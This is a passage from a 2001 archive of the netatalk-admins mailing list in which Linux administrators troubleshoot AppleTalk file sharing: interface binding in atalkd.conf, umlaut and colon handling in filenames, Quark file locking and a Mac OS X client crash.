   my RH6 box to a RH7.1 box. 

   1.4b2 under RH 6 was quite controllable and worked well,
I've been using it for quite some time. 

   Since the upgrade, my uses now seem to connect 
   to ANY interface, although my atalkd.conf is as follows 

   ------include-------------- 
   eth1 -phase 2 -net 0-65534 -addr 65280.181 
   -----end include------------ 

And my afpd.conf is

   -----include--------------- 
   kiosk -port 12000 -address 192.168.0.4 -noguest
   ----end include------------

Kiosk of course, is the name of the 
interface eth1 at 192.168.0.4

 
   

   This set up worked and kept my Netatalk connections 
   on eth1 under 1.4b2, however under 1.5pre2, atalk
connections are allowed at all interfaces, and in some 
   case are going around the corner though the router to 
   get at eth0, which is not a bad thing in my case, just 
   really slow. 

   What have I done wrong? the .rpmnew file looks just 
   like the orginal default atalk.conf and non of this 
   seems very well documented, if there are differences 
   in this file relative to 1.4 

   Any input is a help, 

   thanks in advance 

   chipper 


From netatalk.administrators-errors@umich.edu  Wed Aug  1 09:54:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA17486
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 09:54:01 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA11867
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 09:53:47 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA11847
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 09:53:46 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA11800
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 09:53:44 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GHE6LX00.VDQ for <netatalk-admins@umich.edu>; Wed, 1
          Aug 2001 15:53:57 +0200 
Sender: hollow@funinacapulco.mr.itd.umich.edu
Message-ID: <3B6809F4.7B4287BF@fcb-wilkens.com>
Date: Wed, 01 Aug 2001 15:53:56 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: another strange error (umlauts in folder name)
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit


When trying to open a certain folder, 
the error message is:

- in german
"<folder name>" (Ordner) konnte nicht geöffnet werden, weil das Objekt nicht
gefunden wurde

-in english this would be 
"<folder name>" (Folder) cannot be opened, because the object was not found

It is a folder with two gig of data inside, and my users would want to work on
that data again (the folder and the data are 
on disc, undamaged).

If I change the name to one containing no umlaut, things work as expected.

in a mainly german speaking environment, this is quite undesirable. Would setting
the option mswindows
(which also sets the 8859-1 codepage) help?

Regards,
	Harald

PS: This is with 1.5pre6 binary RPM, RedHat 7.1, it seems to work with 1.5pre3 (on
another machine).

H.

-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Wed Aug  1 09:54:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA17533
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 09:54:38 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA15085
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 09:54:38 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA15064
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 09:54:38 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA14957
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 09:54:36 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id QAA27731;
	Wed, 1 Aug 2001 16:10:57 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 01 Aug 2001 15:56:52 +0200
Subject: Re: netatalk search volume
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <jeff@sudjam.com>, <netatalk-admins@umich.edu>
Message-ID: <B78DD743.F3FB%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.LNX.4.21.0108010539300.19951-100000@pobox.thezit.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 1 Aug 2001 05:40:59 -0700 (PDT), jeff@sudjam.com wrote:

[quotings rearranged :-/ ]
> On Wed, 1 Aug 2001, Thomas Kaiser wrote:
>> You know that with MacRoman encoding there exists only one illegal char in a
>> filename suitable for afp?
>> 
>> It's the colon ":"

> Yeah you are probably right.  I did remove any string in a filename that
> had ":hh" a colin with two hex characters afterwards. -j

":hh" is _not_ a hex value ("ff" aka 255 would be the highest ;-)

Interesting though. Netatalk normally displays these characters in its
MacRoman representation. In my eyes it is a violation of afp specs,
displaying characters that can confuse an afp client. Would be better if
Netatalk replaces these characters with another char (eg. ":c4") to map
these illegal chars to 'friendlier' ones.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Aug  1 11:40:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA23671
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 11:40:17 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA29279
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 11:40:15 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA29267
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 11:40:14 -0400 (EDT)
Received: from cage.whatazoo.com (whatazoo.com [208.23.179.242])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA29231
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 11:40:13 -0400 (EDT)
Received: from localhost (murley@localhost)
	by cage.whatazoo.com (8.9.3/8.9.3) with ESMTP id KAA21320;
	Wed, 1 Aug 2001 10:25:01 -0500
Date: Wed, 1 Aug 2001 10:25:01 -0500 (CDT)
From: Chris Murley <murley@appindex.net>
X-Sender: murley@cage.whatazoo.com
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
cc: jeff@sudjam.com, netatalk-admins@umich.edu
Subject: Re: netatalk search volume
In-Reply-To: <B78DD743.F3FB%Thomas.Kaiser@phg-online.de>
Message-ID: <Pine.LNX.4.10.10108011024570.21302-100000@cage.whatazoo.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII







-Chris

-----------------------
Christopher Murley
Application Index
http://www.appindex.net
http://www.appindex.org
-----------------------

On Wed, 1 Aug 2001, Thomas Kaiser wrote:

> On Wed, 1 Aug 2001 05:40:59 -0700 (PDT), jeff@sudjam.com wrote:
> 
> [quotings rearranged :-/ ]
> > On Wed, 1 Aug 2001, Thomas Kaiser wrote:
> >> You know that with MacRoman encoding there exists only one illegal char in a
> >> filename suitable for afp?
> >> 
> >> It's the colon ":"
> 
> > Yeah you are probably right.  I did remove any string in a filename that
> > had ":hh" a colin with two hex characters afterwards. -j
> 
> ":hh" is _not_ a hex value ("ff" aka 255 would be the highest ;-)
> 
> Interesting though. Netatalk normally displays these characters in its
> MacRoman representation. In my eyes it is a violation of afp specs,
> displaying characters that can confuse an afp client. Would be better if
> Netatalk replaces these characters with another char (eg. ":c4") to map
> these illegal chars to 'friendlier' ones.
> 
> Regards,
> 
> Thomas
> 


From netatalk.administrators-errors@umich.edu  Wed Aug  1 13:13:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA27002
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 13:13:55 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id NAA03303
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 13:13:40 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA03285
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 13:13:40 -0400 (EDT)
Received: from video1.avwashington.com (video1.avwashington.com [216.177.38.67])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA03260
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 13:13:39 -0400 (EDT)
Received: from mail.avwashington.com (crow.avwashington.com [192.168.0.6])
	by video1.avwashington.com (8.9.1a/8.9.1) with SMTP id NAA21294
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 13:21:41 -0400
Date: Wed, 1 Aug 2001 09:40:26 -0400
From: Chip Mefford <cmefford@avwashington.com>
To: netatalk-admins@umich.edu
Subject: 1.5pre2, atalkd.conf doesn't seem to matter
Message-ID: <20010801094026.E2868@crow.avwashington.com>
References: <Pine.LNX.4.21.0108010519070.19951-100000@pobox.thezit.com> <B78DD20D.F3F3%Thomas.Kaiser@phg-online.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In-Reply-To: <B78DD20D.F3F3%Thomas.Kaiser@phg-online.de>; from Thomas.Kaiser@phg-online.de on Wed, Aug 01, 2001 at 09:34:38 -0400
X-Mailer: Balsa 1.1.1
Lines: 44

or so it seems. 

   I've upgraded from 1.4b2 to 1.5pre2 when I upgraded 
   my RH6 box to a RH7.1 box. 

   1.4b2 under RH 6 was quite controllable and worked well,
I've been using it for quite some time. 

   Since the upgrade, my uses now seem to connect 
   to ANY interface, although my atalkd.conf is as follows 

   ------include-------------- 
   eth1 -phase 2 -net 0-65534 -addr 65280.181 
   -----end include------------ 

And my afpd.conf is

   -----include--------------- 
   kiosk -port 12000 -address 192.168.0.4 -noguest
   ----end include------------

Kiosk of course, is the name of the 
interface eth1 at 192.168.0.4

 
   

   This set up worked and kept my Netatalk connections 
   on eth1 under 1.4b2, however under 1.5pre2, atalk
connections are allowed at all interfaces, and in some 
   case are going around the corner though the router to 
   get at eth0, which is not a bad thing in my case, just 
   really slow. 

   What have I done wrong? the .rpmnew file looks just 
   like the orginal default atalk.conf and non of this 
   seems very well documented, if there are differences 
   in this file relative to 1.4 

   Any input is a help, 

   thanks in advance 

   chipper 


From netatalk.administrators-errors@umich.edu  Wed Aug  1 13:33:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA27759
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 13:33:22 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id NAA07379
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 13:33:08 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA07359
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 13:33:07 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA07307
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 13:33:06 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id TAA00414;
	Wed, 1 Aug 2001 19:49:38 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 01 Aug 2001 19:35:33 +0200
Subject: Re: netatalk search volume
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <netatalk-admins@umich.edu>
Message-ID: <B78E0A85.F432%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.LNX.4.21.0108010539300.19951-100000@pobox.thezit.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 1 Aug 2001 05:40:59 -0700 (PDT), jeff@sudjam.com wrote:

[problems caused by displaying the path separator as part of filenames]
> I did remove any string in a filename that had ":hh" a colin with two hex
> characters afterwards. -j

Jeff didn't told us which netatalk version he's using (maybe 1.4-something?)

Assuming netatalks behaviour didn't change with actual versions (can anybody
confirm this please!), I would suggest trying to change netatalks displaying
behaviour in cases where it founds an colon in a filename.

I tried it with Ethershare 2.6 (also with AppleDouble-Encoding, which means
storing undisplayable MacRoman characters as a colon followed by the hex
representation of the char's ASCII value on the UNIX side).

ES maps legal hex values to MacRoman characters, eg. if a UNIX filename
contains ":41" (decimal 65), the macs will se it as "A". If the hex value is
out of range (eg greater than ff) then ES will map the colon to a pipe
symbol ("|" --> es will map the UNIX name ":hh" to "|hh" when viewed from
mac)

This prevents a violation of afp specs and would be a big improvement in
situations where files and folders are created from the UNIX side without
taking care of afp specs (normally you cannot store a file with a colon in
its filename on an afp server from a mac)

If somebody can confirm that Netatalk 1.5pre6 does also display a UNIX file
or folder with ":hh" in its name as ":hh" to an afp client, then it's time
for a feature request on the netatalk-devel list :-)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Aug  1 15:01:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA01603
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 15:01:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id PAA24658
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 15:01:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA24634
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 15:01:30 -0400 (EDT)
Received: from cluster1.sfsu.edu (cluster1.sfsu.edu [130.212.10.213])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA24596
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 15:01:29 -0400 (EDT)
Received: from orion.sfsu.edu (daemon@orion.sfsu.edu [130.212.10.236])
	by cluster1.sfsu.edu (8.11.4/8.11.4) with ESMTP id f71J1S508226;
	Wed, 1 Aug 2001 12:01:28 -0700 (PDT)
Received: from localhost (rsauzier@localhost)
	by orion.sfsu.edu (8.11.4/8.11.4) with SMTP id f71J1Rn06537;
	Wed, 1 Aug 2001 12:01:27 -0700 (PDT)
X-Authentication-Warning: orion.sfsu.edu: rsauzier owned process doing -bs
Date: Wed, 1 Aug 2001 12:01:27 -0700 (PDT)
From: Rob deMallac <rsauzier@sfsu.edu>
To: Jeff Masud <jeff@sudjam.com>
cc: netatalk-admins@umich.edu
Subject: Re: quark file locking
In-Reply-To: <Pine.LNX.4.21.0108010540590.19951-100000@pobox.thezit.com>
Message-ID: <Pine.GSO.3.96.1010801115925.6433A-100000@orion.sfsu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

This is a known issue with Quark XPress, although it's the first I've read
of it for InDesign.

http://www.macwindows.com/quark.html

"A number of readers have reported problems of Quark Xpress file
corruption when saving files to an AFP server. The problem was first
reported with PC MacLAN, but has since been reported occurring with all
AFP servers, including Windows NT SFM, AppleShare IP 6, MacServerIP, and
Linux running Netatalk. The problem seems to be cause by the unusual way
Quark Xpress saves files.

...

Because of the way Quark handles its temp files, it is a bad idea to open
a Quark file from any AFP Server. The best thing to do is to copy the
Quark file to the local machine, open it, edit it, and close it; then copy
it back to the AFP Server."

Pain in the butt, but Quark doesn't play nice with AppleShare networks.

On Wed, 1 Aug 2001, Jeff Masud wrote:

> Date: Wed, 1 Aug 2001 05:43:03 -0700 (PDT)
> From: Jeff Masud <jeff@sudjam.com>
> To: netatalk-admins@umich.edu
> Subject: quark file locking
> Resent-Date: Wed, 1 Aug 2001 09:52:25 -0400 (EDT)
> Resent-From: netatalk-admins@umich.edu
> 
> Another question, I've been having an issue that users with Quark and
> Adobe Indesign have been experiencing "File is locked" when they try to
> save a file that they opened from the server, modified and hit save.
> 
> I went through and changed some permissions around and half the users are
> working and the other half are still getting this file locked
> scenario.  Any suggestions?
> 
> thanks
> Jeff
> 
> 

*********************************
Rob deMallac
Network Manager
SFSU Journalism Department
http://www.journalism.sfsu.edu/
*********************************


From netatalk.administrators-errors@umich.edu  Wed Aug  1 15:47:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA04468
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 15:47:27 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id PAA24479
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 15:47:11 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA24408
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 15:47:09 -0400 (EDT)
Received: from morpheus.webprojkt.com (morpheus.webprojkt.com [209.61.155.148])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA24131
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 15:47:06 -0400 (EDT)
Received: (qmail 21624 invoked by uid 604); 1 Aug 2001 19:47:11 -0000
Received: from unknown (HELO webprojkt.com) (24.183.6.53)
  by morpheus.webprojkt.com with SMTP; 1 Aug 2001 19:47:11 -0000
Message-ID: <3B685CB6.3000309@webprojkt.com>
Date: Wed, 01 Aug 2001 14:47:02 -0500
From: Brice D Ruth <brice@webprojkt.com>
User-Agent: Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:0.9.2) Gecko/20010708
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Can't connect to netatalk server from Mac OS X]
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

I'm running into a problem in trying to connect to a netatalk server 
(x86, running the latest mandrake rpm from sourceforge, as of yesterday) 
from a Mac OS X client. MacOS 9.1 clients have no problem connecting. 
Mac OS X is able to connect, login, display the shares I have to choose 
from, but after selecting a share and hitting 'OK' I get the following 
message from the client:

"The application Finder has unexpectedly quit.
The system and other applications have not been affected."

After hitting 'OK', I get a second message from the client:

"Disconnected
The file server "Construct" connection has unexpectedly closed down.
[Time/Date]"

On the server, I don't see anything all too crazy in the error log - 
simply this:

Jul 31 14:14:25 construct afpd[1459]: ASIP session:548(2) from 
10.0.0.11:49220(0)
Jul 31 14:14:25 construct afpd[1415]: server_child[1] 1459 done
Jul 31 14:14:30 construct afpd[1460]: ASIP session:548(2) from 
10.0.0.11:49221(0)
Jul 31 14:14:30 construct afpd[1460]: dhx login: brice
Jul 31 14:14:30 construct afpd[1460]: uams_dhx_pam.c :PAM: PAM Success 
-- No such file or directory
Jul 31 14:14:30 construct PAM_pwdb[1460]: (netatalk) session opened for 
user brice by (uid=0)
Jul 31 14:14:30 construct afpd[1460]: uams_dhx_pam.c :PAM: PAM Auth OK!: 
(null) -- Inappropriate ioctl for device
Jul 31 14:14:30 construct afpd[1460]: login brice (uid 500, gid 250)
Jul 31 14:14:30 construct afpd[1460]: afp_getsrvrparms: stat 
/raid/accounting: No such file or directory
Jul 31 14:14:30 construct afpd[1460]: afp_getsrvrparms: stat /raid/work: 
No such file or directory
Jul 31 14:14:33 construct afpd[1460]: afp_getsrvrparms: stat 
/raid/accounting: No such file or directory
Jul 31 14:14:33 construct afpd[1460]: afp_getsrvrparms: stat /raid/work: 
No such file or directory
Jul 31 14:14:33 construct afpd[1460]: dsi_stream_read(0): No such file 
or directory
Jul 31 14:14:33 construct PAM_pwdb[1460]: (netatalk) session closed for 
user brice
Jul 31 14:14:33 construct afpd[1460]: 1.79KB read, 11.25KB written
Jul 31 14:14:33 construct afpd[1460]: Connection terminated
Jul 31 14:14:33 construct afpd[1415]: server_child[1] 1460 exited 1

The stat errors are simply because /raid isn't mounted and I have 
pointers to those directories in my AppleVolumes file. As for the PAM 
messages - I dunno. Does anyone have any ideas what's going on here? Any 
pointers would be most appreciated!

Sincerely,
Brice D. Ruth


From netatalk.administrators-errors@umich.edu  Wed Aug  1 18:14:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA12022
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 18:14:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA28637
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 18:14:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA28621
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 18:14:11 -0400 (EDT)
Received: from pobox.thezit.com ([206.135.44.121])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA28462
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 18:14:10 -0400 (EDT)
From: jeff@sudjam.com
Received: from pobox.thezit.com (IDENT:jeff@pobox.thezit.com [206.135.44.120])
	by pobox.thezit.com (8.11.1/8.11.1) with ESMTP id f71LE0J21570;
	Wed, 1 Aug 2001 14:14:00 -0700
Date: Wed, 1 Aug 2001 14:14:00 -0700 (PDT)
X-Sender: jeff@pobox.thezit.com
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
cc: netatalk-admins@umich.edu
Subject: Re: netatalk search volume
In-Reply-To: <B78E0A85.F432%Thomas.Kaiser@phg-online.de>
Message-ID: <Pine.LNX.4.21.0108011408400.19951-100000@pobox.thezit.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

> Jeff didn't told us which netatalk version he's using (maybe 1.4-something?)

FYI, I'm running 1.5pre6 on a Linux Mandrake 7.2 with Kernel
2.2.17-21mdksecure.

Jeff


From netatalk.administrators-errors@umich.edu  Wed Aug  1 18:17:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA12341
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 18:16:32 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA28802
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 18:14:57 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA28788
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 18:14:56 -0400 (EDT)
Received: from dave-world.net (mail.dave-world.net [204.189.73.1])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA26521
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 18:13:35 -0400 (EDT)
Received: from heath [205.139.250.148] by dave-world.net
  (SMTPD32-6.05) id AF9B7CA700EA; Wed, 01 Aug 2001 17:15:55 -0500
Reply-To: <heath@davesworld.net>
From: "Heath Henderson" <heath@davesworld.net>
To: "Mac Supporters" <MAC-SUPPORTERS@JISCMAIL.AC.UK>,
        "Appletalk on Linux" <LINUX-ATALK@LISTS.NETSPACE.ORG>,
        "Netatalk Admins" <netatalk-admins@umich.edu>
Subject: RE: atalklogger
Date: Wed, 1 Aug 2001 17:17:10 -0500
Message-ID: <NDBBLIPGCLLELIOOICKOCEPFDPAA.heath@davesworld.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To:  <20010801142530Z919163-31750+557@brimstone.netspace.org>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal

Has anyone seen big or even slight problems with system 9.1 and the
following.
We are looking to update from 8.6 and I am ready to go to system 9.0.4, but
some say we should be ok going to 9.1.  Please let me know what is going on
in Mac Land!

Currently
Mac OS X Server 1.0.2
Macintosh Manager 1.4.1
System 8.6 on all works fine.
with

Quark 4.1 Express and Passport
Photoshop 5.5
Pagemaker 6.5.2
Illustrator 8.0.2
ATM Deluxe
Appleworks 5.0.4
and Agfa Snap Scan (version 3.x something I think)
Office 2001 Word, Excel, and Powerpoint

I think this is it.  We also use mounted volumes from Macintosh Manager
(Shared Folders/Drives) to a Netatalk server (asun 2.1.4-7 I think.)

If there are any problems that people have had directly related to 9.1 or
9.0.4 please let me know as I want to get this moving!!

Thanks

Heath Henderson






-----Original Message-----
From: Appletalk on Linux [mailto:LINUX-ATALK@LISTS.NETSPACE.ORG]On
Behalf Of Alessandra La Spina
Sent: Wednesday, August 01, 2001 9:25 AM
To: LINUX-ATALK@LISTS.NETSPACE.ORG
Subject: atalklogger


Hello,

I'm looking for a atalkd logger . Searching in the LINUX-ATALK archive I
discovered that someone (Benjamin Gilbert ) has already written such a
script. But the server prism.simplenet.com (the url from where you could
download the file was http://prism.simplenet.com/atalklogger.tcl.gz) does
not exist anymore. Can anyone help me to retrieve the file o suggest me
something similar?
Thanks.






Alessandra La Spina
__________________________
Dipartimento di Matematica
Universita' di Pisa


From netatalk.administrators-errors@umich.edu  Wed Aug  1 19:18:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA13849
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 19:18:14 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA17120
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 19:18:14 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA17099
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 19:18:13 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA17018
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 19:18:10 -0400 (EDT)
Received: (qmail 15013 invoked from network); 2 Aug 2001 19:19:50 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 2 Aug 2001 19:19:50 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: RE: Backup Software Question
Date: Thu, 2 Aug 2001 09:17:24 +1000
Message-ID: <000601c11ae0$2116bfa0$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <3B67C363.D4D42A5B@fcb-wilkens.com>
Importance: Normal

